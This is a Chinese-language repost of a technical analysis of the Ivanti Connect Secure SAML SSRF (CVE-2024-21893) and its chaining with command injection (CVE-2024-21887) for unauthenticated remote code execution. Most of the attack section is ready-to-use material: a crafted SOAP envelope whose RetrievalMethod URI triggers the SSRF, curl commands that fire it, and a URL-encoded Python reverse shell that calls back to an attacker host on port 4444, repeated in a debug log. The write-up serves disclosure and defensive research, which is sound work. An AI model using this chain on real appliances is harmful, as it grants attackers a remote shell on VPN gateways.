1day|Ivanti Policy SSRF(CVE-2024-021893)

1day|Ivanti Policy SSRF(CVE-2024-021893) 

01

概述


 

2024 年 1 月 31 日,Ivanti 披露了 CVE-2024-21893,影响了 Ivanti Connect Secure 和 Ivanti Policy Secure。该漏洞被描述为设备的安全断言标记语言 (SAML) 组件中的服务器端请求伪造 (SSRF) 问题。

Ivanti Connect Secure 设备最近受到多个漏洞的积极利用;身份验证绕过漏洞 (CVE-2023-46805) 已链接到命令注入漏洞(CVE-2024-21887),使攻击者能够执行未经身份验证的远程代码。我们在  Rapid7 analysis2024 年 1 月 12 日发布的 Rapid7 分析详细介绍了这些漏洞。为了解决这两个漏洞,Ivanti 发布了一个缓解文件,成功阻止了漏洞利用链的运行。在发布第一个缓解措施时,Ivanti 尚未针对这些问题发布任何官方补丁。

随着 2024 年 1 月 31 日发布 SSRF 漏洞 CVE-2024-21893,Ivanti 和  Mandiant都表示,威胁行为者开发了一种新技术来绕过 Ivanti 对初始漏洞利用链的原始缓解措施。此绕过技术为 CVE-2024-21893。Ivanti 发布了第二个缓解措施,以防止两个漏洞利用链正常工作。

自 2024 年 2 月 1 日起,Ivanti  已开始发布官方补丁,以解决两个漏洞利用链中使用的所有漏洞。 注意:Rapid7 研究已证实,Ivanti 的第二个缓解措施成功阻止了本分析中描述的漏洞利用链。

本分析详细介绍了我们认为是 CVE-2024-21893 的内容,这是 Ivanti Connect Secure 的 SAML 组件中的一个SSRF 漏洞,可用于成功绕过 CVE-2023-46805 和 CVE-2024-21887 漏洞利用链的原始缓解措施。我们的分析针对 Ivanti Connect Secure 22.3R1,而可用的最新版本是 22.5R2.2。

我们建议您阅读我们的  Rapid7 分析,了解原始漏洞的背景信息,以及 Ivanti Connect Secure 如何处理请求和身份验证。 

 

02

如何访问 SAML 服务器 


 在研究身份验证绕过漏洞 CVE-2023-46805 时,我们发现身份验证是通过函数进行的  doAuthCheck在 HTTP Web 服务器二进制文件中  /root/home/bin/web。在新的 SAML 漏洞的上下文中查看此漏洞时,我们可以注意到端点  /dana-ws/saml20.ws也不需要身份验证。 

if( !memcmp(uri_path_1,"/dana-na/",9u)|| !memcmp(a1->uri_path,"/dana-cached/setup/",0x13u)|| !memcmp(a1->uri_path,"/dana-cached/sc/",0x10u)|| !strncmp(uri_path1,"/dana-cached/hc/",0x10u)|| !strncmp(uri_path1,"/dana-cached/cc/",0x10u)|| !strncmp(uri_path1,"/dana-cached/ep/",0x10u)|| !strncmp(uri_path1,"/dana-cached/psal/",0x12u)|| !strncmp(uri_path1,"/dana-cached/remediation/",0x19u)|| !strncmp(uri_path1,"/dana-ws/saml20.ws",0x12u)// <--- No auth for this SAML endpoint|| !strncmp(uri_path1,"/dana-ws/samlecp.ws",0x13u)|| !strncmp(uri_path1,"/adfs/ls",8u)|| !strncmp(uri_path1,"/api/v1/profiler/",0x11u)|| !strncmp(uri_path1,"/api/v1/cav/client/",0x13u) &&strncmp(uri_path1,"/api/v1/cav/client/auth_token",0x1Du) ){return1;}v18 = (constvoid*)getDevice(a1->dwordC);if( (unsigned__int8)sub_873D0(a1->uri_path, v18) )return1;uri_path = a1->uri_path;if( !strncmp((constchar*)uri_path,"/api/v1/ueba/",0xDu)|| !strncmp((constchar*)uri_path,"/api/v1/integration/",0x14u)|| !strncmp((constchar*)uri_path,"/api/v1/dsintegration",0x15u)|| !strncmp((constchar*)uri_path,"/api/v1/pps/action/",0x13u)|| !strncmp((constchar*)uri_path,"/api/my-session",0xFu)|| !strncmp((constchar*)uri_path,"/api/v1/totp/user-backup-code",0x1Du)// <--- No auth check for the endpoint in the original exploit chain,CVE-2023-46805|| !strncmp((constchar*)uri_path,"/api/v1/esapdata",0x10u)|| !strncmp((constchar*)uri_path,"/api/v1/sessions",0x10u)|| !strncmp((constchar*)uri_path,"/api/v1/tasks",0xDu)|| !strncmp((constchar*)uri_path,"/api/v1/gateways",0x10u)|| !strncmp((constchar*)uri_path,"/_/api/aaa",0xAu)|| !strncmp((constchar*)uri_path,"/api/v1/oidc",0xCu) ){return1;}

Web 服务器的功能  doDispatchRequest将为端点调度未经身份验证的 HTTP POST 请求  /dana-ws/saml.ws,  /dana-ws/saml20.ws和  /dana-ws/samlecp.ws到名为  saml-server通过 Web 服务器的  DSWSSAMLHandler类。这些请求旨在为基于 SOAP 的 SAML 请求提供服务。 

if( !strncmp(v33,"/dana-ws/saml.ws",0x10u)|| !strncmp(v33,"/dana-ws/saml20.ws",0x12u)// <--- our unauthenticated path|| !strncmp(v33,"/dana-ws/samlecp.ws",0x13u) ){if( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0)){v37 ="Watchdog";if( !*((_BYTE *)a1 +240) )v37 ="WebRequest";dword_13EC54 = DSGetStatementCounter("request.cc",5283,"doDispatchRequest", v37,10,"Dispatching to SAML");__cxa_guard_release((__guard *)&byte_13EBE0);}++*(_QWORD *)dword_13EC54;if( DSLog::Debug::isOn(v76) ){v34 ="Watchdog";if( !*((_BYTE *)a1 +240) )v34 ="WebRequest";DSLog::Debug::Write((DSLog::Debug *)v34,&byte_9[1],(int)"request.cc",(constchar*)&elf_gnu_hash_chain[440] +3,(int)"Dispatching to SAML",v92);}DSCockpitCounter::updateCounter(0,1);if( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8)){dword_13EC50 = DSGetStatementCounter("request.cc",5285,"doDispatchRequest","WebRequest",60,"DSCockpitCounter Webhits Incremented");__cxa_guard_release((__guard *)&byte_13EBE8);}++*(_QWORD *)dword_13EC50;if( DSLog::Debug::isOn(v77) )DSLog::Debug::Write((DSLog::Debug *)"WebRequest",off_3C,(int)"request.cc",(constchar*)&elf_gnu_hash_chain[441] +1,(int)"DSCockpitCounter Webhits Incremented",v92);DSCockpitCounter::updateCounter(4,1);returnsub_86980((int)a1) !=0;// <--- dispatch to saml-server via DSWSSAMLHandler}

这  saml-server二进制文件位于  /home/bin/saml-server并负责所有 SAML 操作,包括 SOAP 请求。函数  SoapHandler将尝试通过函数将传入的 HTTP POST 请求的内容数据转换为 XML 对象  createXMLObjectFromSoapMessage。此函数将调用库  xmltooling用于所有 XML 处理。

我们可以注意到,版本  xmltooling正在使用的是 3.0.2,这是几个过时的版本。在线搜索 SSRF 漏洞  xmltooling库发现  CVE-2023-36661,一个通过构建的  KeyInfo元素  xmltooling影响 3.2.4 之前的所有版本的库。供应商 Shibboleth  发布了一份公告于 2023 年 6 月 12 日

鉴于我们可以使用未经身份验证的 HTTP 请求访问 SAML 服务器,并且可以提供任意 XML 数据供易受攻击者处理  xmltooling使用的库  saml-server,这似乎很可能是标识为 CVE-2024-21893 的 SSRF 漏洞,用于绕过 Ivanti 的第一个缓解措施。 

 

03

触发 SSRF 


为了触发 SSRF 漏洞,我们提供了一个 XML SOAP 信封。SOAP信封内是一个签名,将由  xmltooling。签名包含一个  KeyInfo具有子项的元素  RetrievalMethod元素。这  RetrievalMethodelement 有一个名为  URI。此属性允许我们指定一个任意 URI,该函数  XMLToolingFIPS.XMLObject.Signature将用于通过 HTTP GET 请求请求远程资源,从而为攻击者提供 SSRF 漏洞利用原语。

例如,执行 SSRF 并制作  saml-server对我们控制的机器执行 HTTP 请求(在下面的示例中为 192.168.86.35),可以使用以下 SOAP 信封(我们将下面的 XML 保存到名为post_data.xml 的文件中)。 

<?xml version="1.0" encoding="UTF-8"?><soap:Envelopexmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signaturexmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethodAlgorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethodAlgorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/></ds:SignedInfo><ds:SignatureValue>qwerty</ds:SignatureValue><ds:KeyInfoxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:RetrievalMethodURI="http://192.168.86.35:4444/hack%20the%20planet"/><ds:X509Data/></ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope>

然后,我们可以通过向 Ivanti Connect Secure 设备发出简单的 cURL 请求(以下示例中为 192.168.86.111)来触发SSRF:

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

最后,我们机器上的 netcat 侦听器可用于接收服务器的 HTTP GET 请求。我们可以注意到,我们还控制 GET 查询,允许我们在 SSRF 期间提供任意 GET 查询字符串。当我们利用 SSRF 进行远程代码执行时,这一点很重要。

1day|Ivanti Policy SSRF(CVE-2024-021893)

1day|Ivanti Policy SSRF(CVE-2024-021893) 

04

将 SSRF 链接到 CVE-2024-21887 以进行未经身份验证的 RCE 

 

知道我们可以利用未经身份验证的 SSRF 漏洞来执行任意 HTTP GET 请求,因此我们可以将其链接到 CVE-2024-21887 中的一个命令注入漏洞(Ivanti 选择在单个 CVE 中解决多个命令注入漏洞,这不被视为最佳实践。为清楚起见,应最好地为每个漏洞分配一个唯一的 CVE 标识符。

中所详述 正如我们最初的 Rapid7 分析 的,命令注入漏洞存在于  /api/v1/license/keys-status 端点,并且可通过单个 HTTP GET 请求访问。在分析过程中,我们了解到为  /api/v1/license/keys-status 终结点侦听本地绑定的端口 8090。因此,我们可以通过 HTTP GET 请求来利用此命令注入来  http://127.0.0.1:8090/api/v1/license/keys-status 如果 HTTP GET 请求发生在设备本身上,例如通过 SSRF 漏洞。由于身份验证是由前端 Web 服务器而不是后端服务执行的,因此不需要身份验证。这使我们能够利用 SSRF 漏洞绕过 Ivanti 的原始缓解措施,该缓解措施在前端 Web 服务器中施加了过滤限制。

为了利用 CVE-2024-21887,我们按如下方式修改 SSRF URI。这将触发命令注入,并将基于 Python 的反向 shell 有效负载运行回攻击者计算机。 

http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

我们的 XML SOAP Payload如下所示:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>

然后,我们可以触发 SSRF 漏洞,进而触发命令注入漏洞,进而执行我们的反向 shell 有效负载。

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

1day|Ivanti Policy SSRF(CVE-2024-021893)

如果我们在设备上启用调试日志记录,我们可以看到  saml-server 处理传入的 XML 数据并执行 SSRF 请求  127.0.0.1:8090。调试日志将位于  /data/var/dlogs/debuglog。 

2024/02/02 09:37:41.758224 saml-server(30183) vc0 10 saml soap.cc:724 - DSSAMLHandler,Received SAML SOAP request:<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signaturexmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/></ds:SignedInfo><ds:SignatureValue>blah</ds:SignatureValue><ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>    <ds:X509Data/></ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> from client 192.168.86.352024/02/02 09:37:41.758229 saml-server(30183) vc0 10 saml samlprofile.cc:35 - SAMLProfile::createXMLObjectFromSoapMessage2024/02/02 09:37:41.758233 saml-server(30183) vc0 10 saml samlprofile.cc:36 - SOAP Message --> <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signaturexmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/></ds:SignedInfo><ds:SignatureValue>blah</ds:SignatureValue><ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>    <ds:X509Data/></ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope>2024/02/02 09:37:41.758361 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG getBuilder: located XMLObjectBuilder for element name: soap:Envelope2024/02/02 09:37:41.758391 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall: unmarshalling DOM element (soap:Envelope)2024/02/02 09:37:41.758407 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: unmarshalling attributes for DOM element (soap:Envelope)2024/02/02 09:37:41.758413 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: found namespace declaration, adding it to the list of namespaces on the XMLObject2024/02/02 09:37:41.758420 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Envelope)2024/02/02 09:37:41.758443 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: soap:Body2024/02/02 09:37:41.758450 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child element (soap:Body)2024/02/02 09:37:41.758458 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall: unmarshalling DOM element (soap:Body)2024/02/02 09:37:41.758465 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Body)2024/02/02 09:37:41.758474 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: ds:Signature2024/02/02 09:37:41.758480 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child element (ds:Signature)2024/02/02 09:37:41.758500 saml-server(30183) vc0 20 saml main.cc:313 - XMLToolingFIPS.XMLObject.Signature DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling ds:Signature2024/02/02 09:37:41.758559 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:46 - name=127.0.0.12024/02/02 09:37:41.758564 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:92 - name=127.0.0.1 has 1 hits2024/02/02 09:37:41.758569 saml-server(30183) vc0  5 DSPreload::DNS::gethostbyname dns.cc:96 - hit 0 = 127.0.0.12024/02/02 09:37:41.758578 saml-server(30183) vc0  1 DSPreload::Net net.cc:424 - rebind: connect AF_INET to dest = 127.0.0.1:8090

鉴于  saml-server 由弱势群体处理  xmltooling 库,则很可能可以利用其他 SAML 端点来执行 SSRF。一些 CGI 脚本还执行 SAML 处理,例如  /dana-na/auth/saml-sso.cgi 和  /dana-na/auth/saml-logout.cgi

我们已经验证,Ivanti 新增的第二个缓解措施成功阻止了本分析中描述的漏洞利用链。 


原文始发于微信公众号(阿呆攻防):1day|Ivanti Policy SSRF(CVE-2024-021893)

版权声明:admin 发表于 2024年2月4日 下午4:18。
转载请注明:1day|Ivanti Policy SSRF(CVE-2024-021893) | CTF导航

相关文章